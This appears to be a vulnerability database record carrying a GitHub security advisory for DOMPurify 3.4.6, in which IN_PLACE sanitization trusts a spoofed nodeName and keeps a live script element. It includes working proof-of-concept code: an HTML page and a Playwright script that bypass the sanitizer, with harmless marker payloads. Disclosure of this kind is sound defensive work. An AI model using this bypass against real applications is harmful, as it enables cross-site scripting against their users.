[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"repo-stars":3,"vuln-GHSA-X4VX-RJVF-J5P4":6},{"stargazers_count":4,"fetched_at":5},8,"2026-09-19T17:35:29.592Z",{"id":7,"descriptions":8,"cisa":9,"weaknesses":10,"exploits":11,"aliases":12,"duplicate_of":9,"upstream":13,"downstream":14,"duplicates":17,"related":18,"reserved_at":9,"published_at":23,"modified_at":24,"state":9,"summary":25,"references_raw":27,"kevs":39,"epss":9,"epss_history":40,"metrics":41,"affected":42},"GHSA-X4VX-RJVF-J5P4","DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects\n\n## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called on an attacker-supplied live DOM node, `DOMPurify` still trusts `currentNode.nodeName` for non-`form` nodes in the main `_sanitizeElements` pipeline. A real `\u003Cscript>` child node whose observable `nodeName` is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.\n\nThis affects current `3.4.6`. The recent `IN_PLACE` hardening work covers clobbered `form` handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-`form` live nodes.\n\n## Affected\n\n- DOMPurify `3.4.6`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` on attacker-supplied live DOM nodes\n- Verified attacker-controlled node sources:\n  - same-origin `iframe` → live node passed by reference\n  - same-origin `window.open()` popup → live node passed by reference\n  - same-origin foreign node adopted into the host document via `document.adoptNode(node)` and then sanitized in-place\n\nNot affected:\n\n- String-input `DOMPurify.sanitize(dirtyString)`\n\n## Vulnerability details\n\n### Code paths\n\n[A] — `_sanitizeElements` uses the instance-visible `nodeName` for the allow/forbid decision:\n\n```ts\nconst _sanitizeElements = function (currentNode: any): boolean {\n  ...\n  if (_isClobbered(currentNode)) {\n    _forceRemove(currentNode);\n    return true;\n  }\n\n  const tagName = transformCaseFunc(currentNode.nodeName);\n  ...\n  if (\n    FORBID_TAGS[tagName] ||\n    (!(...) && !ALLOWED_TAGS[tagName])\n  ) {\n    ...\n    _forceRemove(currentNode);\n    return true;\n  }\n  ...\n};\n```\n\nFor non-`form` nodes, `_isClobbered(currentNode)` returns `false` early. The subsequent element decision therefore trusts `currentNode.nodeName` directly.\n\n[B] — `_isClobbered` is `form`-specific:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n  const realTagName = getNodeName ? getNodeName(element) : null;\n  if (typeof realTagName !== 'string') {\n    return false;\n  }\n\n  if (transformCaseFunc(realTagName) !== 'form') {\n    return false;\n  }\n\n  return (...);\n};\n```\n\nThe hardening is intentionally scoped to `form`. Non-`form` nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.\n\n### Why the bypass works\n\nThe attack does **not** depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into `DOMPurify`'s `IN_PLACE` pipeline.\n\nIf the attacker controls a same-origin subcontext (`iframe` or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts `DOMPurify.sanitize(node, { IN_PLACE: true })` as its final sanitization step.\n\nFor the verified primitive below:\n\n- the real child node is `\u003Cscript>`\n- its script text is attacker-controlled\n- the observable `nodeName` is attacker-controlled and made to appear as `\"DIV\"`\n- `_sanitizeElements` therefore classifies the real `\u003Cscript>` child as an allowed element\n- the real `\u003Cscript>` survives in the sanitized tree and executes on insertion\n\nThis primitive survives:\n\n- direct reference passing\n- `document.adoptNode(node)` followed by `IN_PLACE`\n\nIt does **not** survive:\n\n- `importNode`\n- `cloneNode`\n\nbecause those paths materialize a fresh node and discard the hostile object semantics.\n\n## Proof of concept\n\n### (1) Minimal — runnable in a single browser context\n\n```html\n\u003C!doctype html>\n\u003Chtml>\u003Cbody>\n\u003Cscript src=\"dist/purify.js\">\u003C/script>\n\u003Cscript>\n  const foreign = window.open('about:blank', '_blank', 'noopener=no');\n\n  const host = foreign.document.createElement('div');\n  const script = foreign.document.createElement('script');\n  script.textContent = 'window.__pwned = 1';\n  Object.defineProperty(script, 'nodeName', {\n    value: 'DIV',\n    configurable: true,\n  });\n  host.appendChild(script);\n\n  DOMPurify.sanitize(host, { IN_PLACE: true });\n\n  console.log('output:', host.outerHTML);\n  // \u003Cdiv>\u003Cscript>window.__pwned = 1\u003C/script>\u003C/div>\n\n  window.__pwned = 0;\n  document.body.appendChild(host);\n  console.log('handler fired:', window.__pwned === 1); // true\n\u003C/script>\n\u003C/body>\u003C/html>\n```\n\n### (2) End-to-end — Playwright\n\n```js\nconst { chromium } = require('playwright');\nconst path = require('path');\n\n(async () => {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n  await page.goto('about:blank');\n  await page.addScriptTag({ path: path.resolve('dist/purify.js') });\n\n  const result = await page.evaluate(async () => {\n    window.__hits = [];\n\n    const foreign = window.open('about:blank', '_blank', 'noopener=no');\n    const host = foreign.document.createElement('div');\n    const script = foreign.document.createElement('script');\n    script.textContent = 'top.__hits.push(\"script-fired\")';\n    Object.defineProperty(script, 'nodeName', {\n      value: 'DIV',\n      configurable: true,\n    });\n    host.appendChild(script);\n\n    DOMPurify.sanitize(host, { IN_PLACE: true });\n    document.body.appendChild(host);\n\n    return {\n      version: DOMPurify.version,\n      output: host.outerHTML,\n      fired: window.__hits.includes('script-fired'),\n    };\n  });\n\n  console.log(result);\n  await browser.close();\n})();\n```\n\nObserved:\n\n- Chromium / Firefox / WebKit\n\n```js\n{\n  version: '3.4.6',\n  output: '\u003Cdiv>\u003Cscript>top.__hits.push(\"script-fired\")\u003C/script>\u003C/div>',\n  fired: true\n}\n```\n\n## Impact\n\n### Direct\n\nXSS via retained real `\u003Cscript>` nodes inside attacker-supplied live DOM objects.\n\nAny consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.\n\nThe typical pattern is:\n\n```js\n// attacker-controlled same-origin subcontext prepares a live node\nconst foreignNode = attackerFrame.contentWindow.makeNode();\n\n// host treats DOMPurify as the last security gate\nDOMPurify.sanitize(foreignNode, { IN_PLACE: true });\ncontainer.appendChild(foreignNode);\n```\n\nIf `foreignNode` is a hostile live DOM object whose real child is `\u003Cscript>` but whose observable `nodeName` is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.\n\n### Indirect / second-order\n\n- Applications that accept same-origin plugin / extension / widget DOM and rely on `IN_PLACE` as the final sanitization step\n- Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. Stop trusting instance-visible `nodeName` for the element decision in `IN_PLACE`.\n\nUse the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.\n\nIn other words, the main pipeline should not do:\n\n```ts\nconst tagName = transformCaseFunc(currentNode.nodeName);\n```\n\non hostile live objects.\n\n2. Generalize hostile-node detection beyond `form`.\n\nThe current `_isClobbered()` logic is `form`-specific. A more defensive approach would reject or strictly sanitize any `IN_PLACE` node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:\n\n- `nodeName`\n- `attributes`\n- `childNodes`\n\nEither approach would close the verified primitive above.",null,[],[],[],[],[15],{"_key":16},"CVE-2026-65901",[],[19,21],{"_key":20},"CGA-77J6-8CMC-Q4XV",{"_key":22},"CGA-RR92-G3X9-J6W4","2026-06-15T20:00:02Z","2026-06-19T02:29:27.587875741Z",{"cisa_kev":26,"cisa_ransomware":26,"cisa_vendor":9,"epss_severity":9,"epss_score":9,"severity":9,"severity_score":9,"severity_version":9,"severity_source":9,"severity_vector":9,"severity_status":9},false,[28,34],{"url":29,"sources":30,"tags":32},"https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4",[31],"osv_npm",[33],"WEB",{"url":35,"sources":36,"tags":37},"https://github.com/cure53/DOMPurify",[31],[38],"PACKAGE",[],[],[],[43],{"ecosystem":44,"name":45,"vendor":44,"product":45,"cpe_part":9,"purl_type":46,"purl_namespace":9,"purl_name":45,"source":9,"versions":47},"Npm","dompurify","npm",[48],{"version":49,"is_range":50,"range_type":51,"version_start":9,"version_start_type":9,"version_end":52,"version_end_type":53,"fixed_in":9},"lte3_4_6",true,"semver","3.4.6","including"]